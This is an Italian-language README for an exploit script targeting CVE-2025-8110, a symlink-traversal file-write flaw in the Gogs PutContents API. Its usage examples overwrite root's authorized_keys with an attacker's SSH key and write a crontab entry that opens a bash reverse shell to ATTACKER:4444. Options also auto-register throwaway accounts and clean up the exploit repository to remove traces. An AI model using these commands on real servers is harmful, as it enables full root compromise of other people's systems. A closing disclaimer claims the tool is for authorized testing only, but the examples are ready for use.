
CVE-2025-8110 — Gogs <= 0.13.3 Scrittura Arbitraria di File tramite Attraversamento di Symlink nell'API PutContents
Gogs <= 0.13.3 è vulnerabile alla scrittura arbitraria di file attraverso l'API PutContents (/api/v1/repos/:owner/:repo/contents/:path).
L'API convalida i percorsi dei file per sequenze di directory traversal (../) ma non risolve i collegamenti simbolici prima della scrittura. Un utente autenticato può eseguire il push di un commit contenente un symlink che punta a qualsiasi file sul server, quindi chiamare PutContents su quel symlink per sovrascrivere il file di destinazione con contenuti controllati dall'attaccante.
Quando Gogs viene eseguito come root (predefinito in Docker e in molte distribuzioni), ciò comporta il compromesso completo del sistema.
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2025-8110 |
| Affetti | Gogs <= 0.13.3 |
| Tipo | Scrittura arbitraria di file autenticata → RCE |
| CVSS | 8.8 (Alto) |
| Componente | API PutContents |
requests (pip install requests)git# Auto-registra un account usa e getta + scrivi la chiave pubblica SSH per root
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Con credenziali esistenti
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Reverse shell tramite crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Pulisci il repository exploit dopo l'uso
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys), esegui commit e push.root).--url URL base di Gogs (es. http://target:3001)
-u, --user Nome utente Gogs
-p, --password Password Gogs
--register Auto-registra un account usa e getta (nessun captcha)
--target-file Percorso assoluto da sovrascrivere sul server
--content Contenuto stringa da scrivere
--content-file File locale il cui contenuto viene scritto
--repo Nome del repository da creare (predefinito: casuale)
--link-name Nome del symlink nel repository (predefinito: payload)
--cleanup Elimina il repository exploit dopo la scrittura
## Dichiarazione di non responsabilità
Questo strumento è fornito esclusivamente per **test di sicurezza autorizzati e scopi educativi**. L'accesso non autorizzato a sistemi informatici è illegale. Utilizzare responsabilmente.